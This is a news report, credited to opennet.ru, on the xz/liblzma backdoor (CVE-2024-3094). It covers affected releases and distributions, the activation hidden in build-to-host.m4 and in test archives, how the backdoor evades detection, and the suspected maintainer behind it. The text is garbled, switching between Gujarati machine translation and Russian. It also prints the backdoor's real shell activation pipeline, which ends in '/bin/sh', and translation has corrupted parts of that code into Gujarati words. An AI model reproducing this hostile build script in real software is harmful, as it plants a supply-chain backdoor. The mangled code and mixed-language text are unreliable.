xz/liblzma લાઇબ્રેરીમાં પાછલા દરવાજાની શોધ કરવામાં આવી હતી જે sshd દ્વારા પ્રવેશની મંજૂરી આપે છે

XZ Utils પેકેજમાં, જેમાં ".xz" ફોર્મેટમાં સંકુચિત ડેટા સાથે કામ કરવા માટે liblzma લાઇબ્રેરી અને ઉપયોગિતાઓનો સમાવેશ થાય છે, એક બેકડોર (CVE-2024-3094) ઓળખવામાં આવ્યો છે જે સંકળાયેલ એપ્લિકેશનો દ્વારા પ્રક્રિયા કરાયેલ ડેટાને અટકાવવા અને તેમાં ફેરફાર કરવાની મંજૂરી આપે છે. liblzma પુસ્તકાલય સાથે. બેકડોરનું મુખ્ય લક્ષ્ય OpenSSH સર્વર છે, જે અમુક વિતરણોમાં libsystemd લાઇબ્રેરી સાથે બંડલ થયેલ છે, જે બદલામાં liblzma નો ઉપયોગ કરે છે. sshd ને સંવેદનશીલ લાઇબ્રેરી સાથે લિંક કરવાથી હુમલાખોરો પ્રમાણીકરણ વિના SSH સર્વરની ઍક્સેસ મેળવવા માટે પરવાનગી આપે છે.

Бэкдор присутствовал в официальных выпусках 5.6.0 и 5.6.1, опубликованных 24 февраля и 9 марта, которые успели попасть в состав некоторых дистрибутивов и репозиториев, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Всем пользователям выпусков xz 5.6.0 и 5.6.1 рекомендуется срочно откатиться на версию 5.4.6.

Из сглаживающих проблему факторов можно отметить то, что версия liblzma c бэкдором не успела войти в состав стабильных выпусков крупных дистрибутивов, но затронула openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo использовали уязвимую версию zx, но не подвержены атаке, так как не применяют к openssh патч для поддержки systemd-notify, приводящий к связыванию sshd к liblzma. Бэкдор затрагивает только системы x86_64 на базе ядра Linux и Си-библиотеки Glibc.

મકાન બનાવતી વખતે automake ટૂલકીટ દ્વારા ઉપયોગમાં લેવાતી build-to-host.m4 ફાઇલમાંથી બેકડોર સક્રિયકરણ કોડ m4 મેક્રોમાં છુપાયેલો હતો. એસેમ્બલી દરમિયાન, આર્કાઇવ્સ (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) પર આધારિત જટિલ અસ્પષ્ટ કામગીરીના અમલ દરમિયાન, ઑપરેશનની શુદ્ધતા ચકાસવા માટે ઉપયોગમાં લેવાતી, દૂષિત કોડ સાથેની ઑબ્જેક્ટ ફાઇલ જનરેટ કરવામાં આવી હતી, જેનો સમાવેશ કરવામાં આવ્યો હતો. liblzma લાઇબ્રેરી અને ઓપરેશન લોજિક તેના કેટલાક કાર્યોને બદલ્યા. બેકડોર-એક્ટિવેટીંગ એમ4 મેક્રોને રીલીઝ ટારબોલ્સમાં સામેલ કરવામાં આવ્યા હતા, પરંતુ ગિટ રીપોઝીટરીમાં ન હતા. તે જ સમયે, રીપોઝીટરીમાં દૂષિત પરીક્ષણ આર્કાઇવ્સ હાજર હતા, એટલે કે. બેકડોર અમલમાં મૂકનાર વ્યક્તિ પાસે રીપોઝીટરી અને રીલીઝ જનરેશન બંને પ્રક્રિયાઓની ઍક્સેસ હતી.

એપ્લિકેશન્સમાં લિબ્લ્ઝમાનો ઉપયોગ કરતી વખતે, દૂષિત ફેરફારોનો ઉપયોગ ડેટાને અટકાવવા અથવા સંશોધિત કરવા અથવા sshd ની કામગીરીને અસર કરવા માટે થઈ શકે છે. ખાસ કરીને, દૂષિત કોડે sshd પ્રમાણીકરણ પ્રક્રિયાને બાયપાસ કરવા માટે RSA_public_decrypt ફંક્શનને બનાવટી બનાવી છે. પાછલા દરવાજામાં શોધથી રક્ષણ શામેલ હતું અને જ્યારે LANG અને TERM પર્યાવરણ ચલો સેટ કરવામાં આવ્યા હતા (એટલે ​​​​કે, જ્યારે ટર્મિનલમાં પ્રક્રિયા ચલાવી રહ્યા હોય ત્યારે) અને LD_DEBUG અને LD_PROFILE પર્યાવરણ ચલો સેટ કરવામાં આવ્યા ન હતા ત્યારે તે પોતાને પ્રગટ કરતું ન હતું, અને તે માત્ર ત્યારે જ સક્રિય થયું હતું જ્યારે એક્ઝિક્યુટ કરવામાં આવ્યું હતું. /usr/sbin/sshd એક્ઝિક્યુટેબલ ફાઇલ. બેકડોર પાસે ડીબગ વાતાવરણમાં એક્ઝેક્યુશન શોધવાનું સાધન પણ હતું.

ખાસ કરીને, m4/build-to-host.m4 ફાઇલ gl_am_configmake=`grep -aErls “#{4}[[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev/ નો ઉપયોગ કરે છે. null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl__[$1]_prefix -d 2>/dev/null'

В первой конструкции операция grep находила файл tests/files/bad-3-corrupt_lzma2.xz, при распаковке которого формировался сценарий: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux" ] && બહાર નીકળો 0 [ ! $(uname) = "Linux" ] && બહાર નીકળો 0 [ ! $(uname) = "Linux" ] && બહાર નીકળો 0 [ ! $(uname) = "Linux" ] && બહાર નીકળો 0 [ ! $(uname) = "Linux" ] && બહાર નીકળો 0 eval `grep ^srcdir= config.status` જો test -f ../../config.status; તો eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi નિકાસ i="((head -c +1024 >/dev/null) && head -c +2048 && ( >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +2048 && (હેડ -c +1024 >/dev/null) && હેડ -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F કાચો —lzma1 -dc|/bin/sh ####World####

Каким образом злоумышленникам удалось получить доступ к инфраструктуре проекта xz пока до конца не выяснено. Так же пока не ясно как много пользователей и проектов были скомпрометированы в результате действия бэкдора. Предполагаемый автор бэкдора (JiaT75 — Jia Tan), разместивший в репозитории архивы с вредоносным кодом, переписывался с разработчиками Fedora и отправлял pull-запросы в Debian, связанные с переходом дистрибутивов на ветку xz 5.6.0, и не вызвал подозрений, так как участвовал в разработке xz на протяжении последних двух лет и является вторым разработчиком по числу внесённых изменений. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded. Более того, Jia Tan несколько дней назад был включён в число мэёнтейнеров проекта XZ Embedded, используемого в ядре Linux.

Вредоносное изменение было выявлено после анализа излишнего потребления CPU и ошибок, выдаваемых valgrind, при подключении через ssh к системам на базе Debian sid. Примечательно, что в релиз xz 5.6.1 были включены изменения, подготовленные предполагаемым автором бэкдора в ответ на жалобы о замедлении работы и сбоях sshd, возникшие после обновления до версии zx 5.6.0 с бэкдором. Кроме того, в прошлом году Jia Tan внёс изменения, несовместимые с режимом проверки «-fsanitize=address», что привело к его отключению при fuzzing-тестировании.

સોર્સ: opennet.ru